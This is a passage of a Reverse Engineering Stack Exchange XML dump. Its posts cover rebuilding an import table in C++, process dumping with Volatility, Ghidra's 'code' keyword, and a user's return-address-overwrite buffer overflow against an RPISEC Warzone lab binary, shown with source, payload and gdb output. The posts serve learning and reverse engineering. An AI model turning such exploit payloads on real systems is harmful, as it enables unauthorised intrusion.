%X\n&quot;, ptrIAT, ptrIATEnd);&#xA;                if(listOfIATImports.size() == 0)&#xA;                    FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize);&#xA;&#xA;                if (listOfIATImports.size() &amp;gt; 0) {&#xA;                    auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp;amp; s) {&#xA;                        return _strcmpi(s.IATModuleName, Library) == 0 &amp;amp;&amp;amp; _strcmpi(s.IATFunctionName, Import) == 0;&#xA;                    });&#xA;&#xA;                    if (match != listOfIATImports.cend()) {&#xA;                        printf(&quot;Found IAT = %X, %s %s\n&quot;, match-&amp;gt;IATAddress, match-&amp;gt;IATModuleName, match-&amp;gt;IATFunctionName);&#xA;                    }&#xA;&#xA;                    std::list&amp;lt;IAT_Import_Information&amp;gt;::iterator i;&#xA;                    for (i = listOfIATImports.begin();&#xA;                        i != listOfIATImports.end();&#xA;                        i++)&#xA;                    {&#xA;                        printf(&quot;Module: %s Import: %s Address: %X\n&quot;, i-&amp;gt;IATModuleName, i-&amp;gt;IATFunctionName, i-&amp;gt;IATAddress);&#xA;                    }&#xA;&#xA;                } else {&#xA;                    printf(&quot;Couldn't find module %s, import %s\n&quot;, Library, Import);&#xA;                }&#xA;&#xA;            }&#xA;        }&#xA;    }&#xA;    __except (1) {&#xA;        printf(&quot;Exception hit parsing imports\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2020-06-15T02:20:22.657" LastActivityDate="2020-06-15T02:30:05.173" Title="Import Reconstruction in runtime library? any open source ones or any import reconstructors source codes?" Tags="|iat|import-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25296" PostTypeId="1" CreationDate="2020-06-14T19:37:32.087" Score="1" ViewCount="271" Body="&lt;p&gt;i'm interested in reverse engineering and assembly stuff i have started to do some research and im still a complete beginner &#xA;what i have learned so far that we could use virtualbox to dump the RAM for us so we can get a full memory dump and look at the actual assembly code of a packed program, and that what i did so far on a x86 Windows 7 Ultimate VM &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Starting the vm with debugging mode enabled &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;virtualboxvm --startvm &quot;Windows 7&quot; --dbg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then opening VirtualBox Debugging Console Via &lt;code&gt;Debug -&amp;gt; Command Line&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and using this command you can get a full RAM dump file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VBoxDbg&amp;gt; .pgmphystofile 'dump.bin'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now i have the file, and im not sure about the correct ways to analyse it, it's a &quot;flat binary&quot; i guess &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file dump.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will output: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dump.bin :data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i tried to use &lt;code&gt;volatility&lt;/code&gt;  to get some info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;volatility -f dump.bin imageinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Volatility Foundation Volatility Framework 2.6&#xA;INFO    : volatility.debug    : Determining profile based on KDBG search...&#xA;          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86&#xA;                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)&#xA;                     AS Layer2 : FileAddressSpace (/root/w7-nc-shell.bin)&#xA;                      PAE type : PAE&#xA;                           DTB : 0x185000L&#xA;                          KDBG : 0x8292dc28L&#xA;          Number of Processors : 1&#xA;     Image Type (Service Pack) : 1&#xA;                KPCR for CPU 0 : 0x8292ec00L&#xA;             KUSER_SHARED_DATA : 0xffdf0000L&#xA;           Image date and time : 2020-06-14 17:41:24 UTC+0000&#xA;     Image local date and time : 2020-06-14 09:41:24 -0800&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bunch of informations that im not sure what they really mean (if you can suggest me some useful resource in deep about those kind of informations in comment will be appreciated) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Anyway using volatitlity we can get a process list using this command: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;volatility -f dump.bin --profile=Win7SP1x86_23418 pslist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Volatility Foundation Volatility Framework 2.6&#xA;Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          &#xA;---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------&#xA;0x8415e558 System                    4      0     83      503 ------      0 2020-06-15 04:31:21 UTC+0000                                 &#xA;0x84874560 smss.exe                248      4      2       29 ------      0 2020-06-15 04:31:21 UTC+0000                                 &#xA;0x850579b0 csrss.exe               324    316     10      452      0      0 2020-06-15 04:31:25 UTC+0000                                 &#xA;0x850ead40 csrss.exe               376    368     10      267      1      0 2020-06-15 04:31:26 UTC+0000                                 &#xA;0x850e9030 wininit.exe             392    316      3       76      0      0 2020-06-15 04:31:26 UTC+0000                                 &#xA;0x8511ad40 winlogon.exe            420    368      3      110      1      0 2020-06-15 04:31:26 UTC+0000                                 &#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a way, to get the dump of one specific processe and convert it back to PE? so i can easily debug the unpacked code? if not, is there a way to just dump the process and just dissassemble it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="33547" LastActivityDate="2020-06-14T19:37:32.087" Title="pick dump from a specific process from virtualbox coredump" Tags="|debugging|memory-dump|virtual-machines|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25297" PostTypeId="1" AcceptedAnswerId="30617" CreationDate="2020-06-14T22:42:11.173" Score="5" ViewCount="4137" Body="&lt;p&gt;I'm reversing a binary and I found this strange keyword I haven't seen before  called 'code'. I looked up the C++ keywords and there doesn't seem to be one. Could anyone provide me with more information about this keyword?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      if (*(int *)(param_1 + 4) != 0) {&#xA;        (*(code *)(&amp;amp;PTR_thunk_FUN_005a7840_008dd8b8)[(int)param_2[4]])(*(int *)(param_1 + 4));&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Assembly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00491b95 85  c0           TEST       EAX ,EAX&#xA;00491b97 74  10           JZ         LAB_00491ba9&#xA;00491b99 8b  4e  10       MOV        ECX ,dword ptr [ESI  + 0x10 ]&#xA;00491b9c 8b  14  8d       MOV        EDX ,dword ptr [ECX *0x4  + -&amp;gt; thunk_FUN_005a7840 ] = 00401c30&#xA;         b8  d8  8d &#xA;         00&#xA;00491ba3 50              PUSH       EAX&#xA;00491ba4 ff  d2           CALL       EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29218" LastActivityDate="2022-12-08T17:07:50.880" Title="What does the code keyword in Ghidra mean?" Tags="|ghidra|decompiler|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25298" PostTypeId="1" AcceptedAnswerId="25306" CreationDate="2020-06-15T00:28:48.737" Score="1" ViewCount="838" Body="&lt;p&gt;I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;/*&#xA; * compiled with:&#xA; * gcc -O0 -fno-stack-protector lab2B.c -o lab2B&#xA; */&#xA;&#xA;char* exec_string = &quot;/bin/sh&quot;;&#xA;&#xA;void shell(char* cmd)&#xA;{&#xA;    system(cmd);&#xA;}&#xA;&#xA;void print_name(char* input)&#xA;{&#xA;    char buf[15];&#xA;    strcpy(buf, input);&#xA;    printf(&quot;Hello %s\n&quot;, buf);&#xA;}&#xA;&#xA;int main(int argc, char** argv)&#xA;{&#xA;    if(argc != 2)&#xA;    {&#xA;        printf(&quot;usage:\n%s string\n&quot;, argv[0]);&#xA;        return EXIT_FAILURE;&#xA;    }&#xA;&#xA;    print_name(argv[1]);&#xA;&#xA;    return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to get it working in GDB (I think):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c &quot;print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'&quot;)&#xA;Reading symbols from lab2B...(no debugging symbols found)...done.&#xA;gdb-peda$ disas shell&#xA;Dump of assembler code for function shell:&#xA;   0x080486bd &amp;lt;+0&amp;gt;: push   ebp&#xA;   0x080486be &amp;lt;+1&amp;gt;: mov    ebp,esp&#xA;   0x080486c0 &amp;lt;+3&amp;gt;: sub    esp,0x18&#xA;   0x080486c3 &amp;lt;+6&amp;gt;: mov    eax,DWORD PTR [ebp+0x8]&#xA;   0x080486c6 &amp;lt;+9&amp;gt;: mov    DWORD PTR [esp],eax&#xA;   0x080486c9 &amp;lt;+12&amp;gt;:    call   0x8048590 &amp;lt;system@plt&amp;gt;&#xA;   0x080486ce &amp;lt;+17&amp;gt;:    leave&#xA;   0x080486cf &amp;lt;+18&amp;gt;:    ret&#xA;End of assembler dump.&#xA;gdb-peda$ b *0x080486c9&#xA;Breakpoint 1 at 0x80486c9&#xA;gdb-peda$ r&#xA;Starting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB\(�&#xA;Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�&#xA;[----------------------------------registers-----------------------------------]&#xA;EAX: 0x804a028 --&amp;gt; 0x80487d0 (&quot;/bin/sh&quot;)&#xA;EBX: 0xb7fcd000 --&amp;gt; 0x1a9da8&#xA;ECX: 0x0&#xA;EDX: 0xb7fce898 --&amp;gt; 0x0&#xA;ESI: 0x0&#xA;EDI: 0x0&#xA;EBP: 0xbffff66c (&quot;AAAABBBB(\240\004\b&quot;)&#xA;ESP: 0xbffff654 --&amp;gt; 0x804a028 --&amp;gt; 0x80487d0 (&quot;/bin/sh&quot;)&#xA;EIP: 0x80486c9 (&amp;lt;shell+12&amp;gt;: call   0x8048590 &amp;lt;system@plt&amp;gt;)&#xA;EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)&#xA;[-------------------------------------code-------------------------------------]&#xA;   0x80486c0 &amp;lt;shell+3&amp;gt;: sub    esp,0x18&#xA;   0x80486c3 &amp;lt;shell+6&amp;gt;: mov    eax,DWORD PTR [ebp+0x8]&#xA;   0x80486c6 &amp;lt;shell+9&amp;gt;: mov    DWORD PTR [esp],eax&#xA;=&amp;gt; 0x80486c9 &amp;lt;shell+12&amp;gt;:    call   0x8048590 &amp;lt;system@plt&amp;gt;&#xA;   0x80486ce &amp;lt;shell+17&amp;gt;:    leave&#xA;   0x80486cf &amp;lt;shell+18&amp;gt;:    ret&#xA;   0x80486d0 &amp;lt;print_name&amp;gt;:  push   ebp&#xA;   0x80486d1 &amp;lt;print_name+1&amp;gt;:    mov    ebp,esp&#xA;Guessed arguments:&#xA;arg[0]: 0x804a028 --&amp;gt; 0x80487d0 (&quot;/bin/sh&quot;)&#xA;[------------------------------------stack-------------------------------------]&#xA;0000| 0xbffff654 --&amp;gt; 0x804a028 --&amp;gt; 0x80487d0 (&quot;/bin/sh&quot;)&#xA;0004| 0xbffff658 ('A' &amp;lt;repeats 24 times&amp;gt;, &quot;BBBB(\240\004\b&quot;)&#xA;0008| 0xbffff65c ('A' &amp;lt;repeats 20 times&amp;gt;, &quot;BBBB(\240\004\b&quot;)&#xA;0012| 0xbffff660 ('A' &amp;lt;repeats 16 times&amp;gt;, &quot;BBBB(\240\004\b&quot;)&#xA;0016| 0xbffff664 ('A' &amp;lt;repeats 12 times&amp;gt;, &quot;BBBB(\240\004\b&quot;)&#xA;0020| 0xbffff668 (&quot;AAAAAAAABBBB(\240\004\b&quot;)&#xA;0024| 0xbffff66c (&quot;AAAABBBB(\240\004\b&quot;)&#xA;0028| 0xbffff670 (&quot;BBBB(\240\004\b&quot;)&#xA;[------------------------------------------------------------------------------]&#xA;Legend: code, data, rodata, value&#xA;&#xA;Breakpoint 1, 0x080486c9 in shell ()&#xA;gdb-peda$ c&#xA;Continuing.&#xA;[New process 2068]&#xA;Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.&#xA;Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.&#xA;process 2068 is executing new program: /bin/dash&#xA;Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.&#xA;Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0x80486c9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems like the shell won't open outside of GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lab2B@warzone:/levels/lab02$ ./lab2B $(python -c &quot;print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'&quot;)&#xA;Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(�&#xA;sh: 1: : not found&#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking &lt;code&gt;sh&lt;/code&gt; to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33549" LastActivityDate="2020-06-15T20:57:11.643" Title="How can I get my shellcode to work outside of GDB?" Tags="|disassembly|gdb|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25299" PostTypeId="2" ParentId="25294" CreationDate="2020-06-15T02:21:13.420" Score="1" Body="&lt;p&gt;Here is my final code.. it works.. gets all imports except a missing a few like 10 at most.. which are hardly important anyways. It misses &lt;code&gt;GetCurrentProcessId()&lt;/code&gt;,&lt;code&gt;GetCurrentProcess()&lt;/code&gt;,&lt;code&gt;LoadLibrary&lt;/code&gt;. It misses them because I have no idea how to decode &lt;code&gt;0xA1&lt;/code&gt; (&lt;code&gt;MOV EAX, [XXXXXX]&lt;/code&gt;) opcode or &lt;code&gt;0xFF35&lt;/code&gt; opcode (&lt;code&gt;push [XXXXXX]&lt;/code&gt;). Although this library is very useful to me and it will help me in many projects to come.. I will release it on github now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imports address revolver file contains this&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;psapi.h&amp;gt; //GetModuleInformation IAT&#xA;#include &amp;lt;tlhelp32.h&amp;gt; //MODULEENTRY32 IAT&#xA;#include &amp;lt;shlwapi.h&amp;gt; //PathFindFileName IAT&#xA;#include &amp;lt;DbgHelp.h&amp;gt; //detours, GetImports, PE information BaseAddressStart/End etc.&#xA;#include &amp;lt;unordered_set&amp;gt; //std::unordered_set&amp;lt;DWORD&amp;gt;&#xA;#include &amp;lt;unordered_map&amp;gt; //std::map&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;algorithm&amp;gt;&#xA;#include &amp;lt;iterator&amp;gt;&#xA;#include &amp;lt;vector&amp;gt;&#xA;&#xA;#pragma comment(lib, &quot;dbghelp.lib&quot;)&#xA;#pragma comment(lib, &quot;psapi.lib&quot;) //GetModuleInformation IAT&#xA;#pragma comment(lib, &quot;Shlwapi.lib&quot;) //PathFindFileName IAT&#xA;&#xA;struct IAT_Module_Info&#xA;{&#xA;    DWORD ImageBase;&#xA;    DWORD ImageSize;&#xA;    BYTE* EntryPoint;&#xA;    char DllName[256];&#xA;    char DllFileName[1000];&#xA;};&#xA;&#xA;static std::list&amp;lt;IAT_Module_Info&amp;gt; gs_ModuleList;&#xA;&#xA;struct IAT_Import_Information&#xA;{&#xA;    DWORD IATAddress;&#xA;    char IATModuleName[256];&#xA;    char IATFunctionName[256];&#xA;};&#xA;&#xA;static std::list&amp;lt;IAT_Import_Information&amp;gt; listOfIATImports;&#xA;&#xA;&#xA;BOOL SnapShotModules(DWORD dwPID)&#xA;{&#xA;    BOOL           bRet = TRUE;&#xA;&#xA;    // Get all modules for this process:&#xA;    std::vector&amp;lt;HMODULE&amp;gt; hModules;&#xA;    const HMODULE hSelf = GetModuleHandle(NULL);&#xA;    {&#xA;        DWORD nModules;&#xA;        EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;amp;nModules);&#xA;        hModules.resize(nModules);&#xA;        EnumProcessModules(GetCurrentProcess(), &amp;amp;hModules[0], nModules, &amp;amp;nModules);&#xA;    }&#xA;&#xA;    if (!hSelf)&#xA;    {&#xA;        printf(&quot;Invalid Process Handle\n&quot;);&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    gs_ModuleList.clear();&#xA;&#xA;    IAT_Module_Info modulefullInfo = { 0 };&#xA;    MODULEINFO modinfo = { 0 };&#xA;    char moduleName[256] = { 0 };&#xA;    char moduleFileName[1000] = { 0 };&#xA;&#xA;    char myProcessFilePath[1000] = { 0 };&#xA;    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);&#xA;    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);&#xA;    for (auto hModule : hModules) {&#xA;        if (hModule == hSelf)&#xA;            continue;&#xA;&#xA;        GetModuleInformation(GetCurrentProcess(), hModule, &amp;amp;modinfo, sizeof(modinfo));&#xA;        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));&#xA;        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));&#xA;        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;&#xA;        strcpy(modulefullInfo.DllName, moduleName);&#xA;        modulefullInfo.ImageSize = modinfo.SizeOfImage;&#xA;        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;&#xA;        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;&#xA;        strcpy(modulefullInfo.DllFileName, moduleFileName);&#xA;        gs_ModuleList.push_back(modulefullInfo);&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Retrieve API info by its addr and the module it belongs to&#xA;Params   : pBuf points to the image mapped to our space*/&#xA;/************************************************************************/&#xA;void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)&#xA;{&#xA;    //try to load the dll into our space&#xA;    HMODULE hDll = NULL;&#xA;    if(iat_module_info)&#xA;        hDll = LoadLibrary(iat_module_info-&amp;gt;DllFileName);&#xA;&#xA;    if (NULL == hDll)&#xA;        return;&#xA;&#xA;    //now ask for info from Export&#xA;    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;&#xA;    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&amp;gt;e_lfanew);&#xA;    if (pNTHDR-&amp;gt;OptionalHeader.NumberOfRvaAndSizes &amp;lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1)&#xA;        return;&#xA;&#xA;    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)&#xA;        ((BYTE *)pDOSHDR&#xA;            + pNTHDR-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);&#xA;    DWORD dwFunctions = pExpDIR-&amp;gt;NumberOfFunctions;&#xA;    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfFunctions);&#xA;    DWORD i = 0;&#xA;&#xA;    //get index by address&#xA;    for (i = 0; i &amp;lt; dwFunctions; i++)&#xA;    {&#xA;        if (ptrAPIObfuscated &amp;amp;&amp;amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)&#xA;            break;&#xA;        if (!ptrAPIObfuscated &amp;amp;&amp;amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)&#xA;            break;&#xA;    }&#xA;&#xA;    //not match&#xA;    if (i == dwFunctions)&#xA;        return;&#xA;&#xA;    //get name and ordinal&#xA;    DWORD dwNames = pExpDIR-&amp;gt;NumberOfNames;&#xA;    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfNames);&#xA;    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfNameOrdinals);&#xA;    DWORD j = 0;&#xA;    char *pszName = NULL;&#xA;    SIZE_T nLen = 0;&#xA;    for (j = 0; j &amp;lt; dwNames; j++)&#xA;    {&#xA;        if (pNameOrd[j] == i)&#xA;        {&#xA;            pszName = (char *)pDOSHDR + pNames[j];&#xA;            nLen = strlen(pszName);&#xA;            /*printf(&quot;%X\t%04X\t%s\n&quot;,&#xA;                *(DWORD *)ptrAPI,&#xA;                j,&#xA;                pszName&#xA;            );*/&#xA;&#xA;            //Save information&#xA;            IAT_Import_Information iat_found = { 0 };&#xA;            iat_found.IATAddress = ptrAPI;&#xA;            strcpy(iat_found.IATFunctionName, pszName);&#xA;            strcpy(iat_found.IATModuleName, iat_module_info-&amp;gt;DllName);&#xA;            listOfIATImports.push_back(iat_found);&#xA;            if(ptrAPIObfuscated)&#xA;                printf(&quot;Added Obfuscated %X %X, %s -&amp;gt; %s\n&quot;, ptrAPI, ptrAPIObfuscated, iat_module_info-&amp;gt;DllName, pszName);&#xA;            else&#xA;                printf(&quot;Added %X %X, %s -&amp;gt; %s\n&quot;, ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&amp;gt;DllName, pszName);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : rebuild Import Info according to IAT&#xA;Params   : ptrIAT point to the page where IAT in&#xA;ppBuf [IN/OUT] is the memory space for the exe, may be updated&#xA;dwImageSize is the exe's image size                                                                  */&#xA;/************************************************************************/&#xA;void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)&#xA;{&#xA;    if (gs_ModuleList.size() == 0) {&#xA;        printf(&quot;No Modules loaded, can't fix anything\n&quot;);&#xA;        return;&#xA;    }&#xA;&#xA;    //now verify every DWORD item is a valid FuncPtr with some dll.&#xA;    //we need to snapshot the process.&#xA;    std::list&amp;lt;IAT_Module_Info&amp;gt;::iterator it;&#xA;    IAT_Module_Info iat_module_info;&#xA;    printf(&quot;ptrIAT = %X ptrIATEnd = %X\n&quot;, ptrIAT, ptrIATEnd);&#xA;&#xA;    DWORD ptrIndex = ptrIAT;&#xA;    DWORD dwModBase = NULL;  //利用局部性原理，减少比较&#xA;    DWORD dwModSize = NULL;&#xA;    DWORD dwModHit = NULL;&#xA;    while (TRUE)&#xA;    {&#xA;        //thz should always continue, even if BadPtr or invalid funcptr&#xA;        if (ptrIndex &amp;lt;= ptrIATEnd&#xA;            &amp;amp;&amp;amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))&#xA;        {&#xA;            ptrIndex += sizeof(DWORD);&#xA;            continue;&#xA;        }&#xA;&#xA;        //now we may end, be careful&#xA;        if (ptrIndex &amp;gt; ptrIATEnd&#xA;            &amp;amp;&amp;amp; (NULL == *(DWORD*)ptrIndex)&#xA;            &amp;amp;&amp;amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))&#xA;        {&#xA;            break;&#xA;        }&#xA;&#xA;        if (ptrIndex &amp;gt; ptrIATEnd&#xA;            &amp;amp;&amp;amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))&#xA;            )&#xA;        {&#xA;            ptrIndex += sizeof(DWORD);&#xA;            continue;&#xA;        }&#xA;&#xA;        //////////////////////////////////////////////////////////////////////////&#xA;        //whether in a module range&#xA;        dwModHit = NULL;&#xA;&#xA;        //局部性原理，减少遍历&#xA;        if (*(DWORD *)ptrIndex &amp;gt;= dwModBase&#xA;            &amp;amp;&amp;amp; *(DWORD *)ptrIndex &amp;lt; dwModBase + dwModSize)&#xA;        {&#xA;            dwModHit = dwModBase;&#xA;        }&#xA;&#xA;        //have to loop every module&#xA;        if (dwModHit == NULL)&#xA;        {&#xA;            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)&#xA;            {&#xA;                iat_module_info = *it;&#xA;                dwModBase = (DWORD)iat_module_info.ImageBase;&#xA;                dwModSize = (DWORD)iat_module_info.ImageSize;&#xA;&#xA;                if (*(DWORD *)ptrIndex &amp;gt;= dwModBase&#xA;                    &amp;amp;&amp;amp; *(DWORD *)ptrIndex &amp;lt; dwModBase + dwModSize)&#xA;                {&#xA;                    //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);&#xA;                    //printf(&quot;Module: %s\n&quot;, iat_module_info.DllName);&#xA;                    break;&#xA;                }&#xA;                memset(&amp;amp;iat_module_info, 0, sizeof(IAT_Module_Info));&#xA;            }//end for(&#xA;        }//end if(NULL == &#xA;&#xA;        if (iat_module_info.ImageBase == 0 &amp;amp;&amp;amp; iat_module_info.ImageSize == 0) {&#xA;            bool passDone = false;&#xA;            bool Found = false;&#xA;            IAT_Module_Info iat_module_info_temp;&#xA;&#xA;            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;&#xA;            retryPass:&#xA;            printf(&quot;Check = %X %X %X\n&quot;, deObfuscatedAddress, (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);&#xA;&#xA;            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)&#xA;            {&#xA;                iat_module_info_temp = *it;&#xA;                dwModBase = (DWORD)iat_module_info_temp.ImageBase;&#xA;                dwModSize = (DWORD)iat_module_info_temp.ImageSize;&#xA;&#xA;                if (deObfuscatedAddress &amp;gt;= dwModBase&#xA;                    &amp;amp;&amp;amp; deObfuscatedAddress &amp;lt; dwModBase + dwModSize)&#xA;                {&#xA;                    //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);&#xA;                    //printf(&quot;Module: %s\n&quot;, iat_module_info.DllName);&#xA;                    Found = true;&#xA;                    break;&#xA;                }&#xA;            }&#xA;            if (Found) {&#xA;                printf(&quot;Found Check = %X\n&quot;, deObfuscatedAddress);&#xA;                GetAPIInfo(ptrIndex, &amp;amp;iat_module_info_temp, deObfuscatedAddress);&#xA;                ptrIndex += sizeof(DWORD);&#xA;                continue;&#xA;            } else if (!passDone) {&#xA;                passDone = true;&#xA;                if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative&#xA;                    deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;&#xA;                else if (*(BYTE*)deObfuscatedAddress == 0x68 &amp;amp;&amp;amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //PUSH&#xA;                    printf(&quot;PUSH = %X %X +5[%X]\n&quot;, deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));&#xA;                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);&#xA;                } else if (*(BYTE*)deObfuscatedAddress == 0xA1 &amp;amp;&amp;amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //A1 MOV EAX, [XXXXXX]&#xA;                    printf(&quot;A1 = %X %X +5[%X]\n&quot;, deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5));&#xA;                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);&#xA;                } else if (*(BYTE*)deObfuscatedAddress == 0xFF &amp;amp;&amp;amp; *(BYTE*)(deObfuscatedAddress + 1) == 0x35 &amp;amp;&amp;amp; *(BYTE*)(deObfuscatedAddress + 6) == 0x58) { //push [XXXXXX]&#xA;                    printf(&quot;PUSH2 = %X %X\n&quot;, deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 2));&#xA;                    deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 2);&#xA;                } else if 